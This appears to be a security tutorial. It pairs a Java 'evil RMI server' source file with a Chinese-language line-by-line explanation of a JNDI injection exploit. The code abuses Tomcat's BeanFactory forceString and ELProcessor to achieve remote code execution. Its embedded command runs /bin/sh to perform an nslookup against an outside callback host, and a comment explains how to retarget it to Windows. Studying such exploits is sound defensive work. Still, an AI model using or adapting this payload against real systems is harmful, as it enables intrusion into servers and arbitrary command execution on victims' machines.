import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookupjndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookupjndi.s.artsploit.com']).start()\\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
上面的代码片段展示了如何利用 Apache Tomcat 中的 org.apache.naming.factory.BeanFactory
类,通过反射机制创建任意 Java Bean 实例,并调用它的 setter 方法来执行恶意代码。
以下是代码的详细解释:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
这一行代码创建了一个 ResourceRef
对象。ResourceRef
是一种特殊类型的引用对象,用于描述资源(如数据库连接、消息队列等)。在这个例子中,它用于描述一个 Java 对象。构造函数的参数包括:
"javax.el.ELProcessor"
:目标类的全限定名,这里是javax.el.ELProcessor
。null
、""
等:这些参数通常用于描述资源的其他属性,这里都为空或默认值。"org.apache.naming.factory.BeanFactory"
:指定用于解析这个引用的工厂类,这里是org.apache.naming.factory.BeanFactory
。
// redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
这一行代码通过 forceString
属性重新定义了 x
属性的 setter 方法名。通常情况,setter 方法名是 setX
,但这里被重新定义为 eval
。这样,当 BeanFactory
调用 setter 方法时,会调用 eval
方法而不是 setX
。
// expression language to execute 'nslookupjndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookupjndi.s.artsploit.com']).start()\\")"));
这一行代码设置了 x
属性的值,该值是一个恶意的 EL 表达式。具体来说,这个表达式利用了 javax.script.ScriptEngineManager
来执行任意 JavaScript 代码。在这个例子中,JavaScript 代码创建了一个新的进程,执行 nslookup jndi.s.artsploit.com
命令。这个命令将尝试连接到指定的域名,通常用于验证漏洞利用是否成功。
总结:
- 这个代码片段通过
ResourceRef
和BeanFactory
类,利用反射机制在目标 Java 应用程序中创建一个任意类实例。 - 通过设置
forceString
属性,恶意代码可以指定调用的 setter 方法名。 - 最终的 EL 表达式被执行,触发远程代码执行(RCE),在受害者的系统上执行任意命令。
这个例子演示了如何利用 JNDI 注入漏洞,通过反射和表达式语言注入来实现远程代码执行。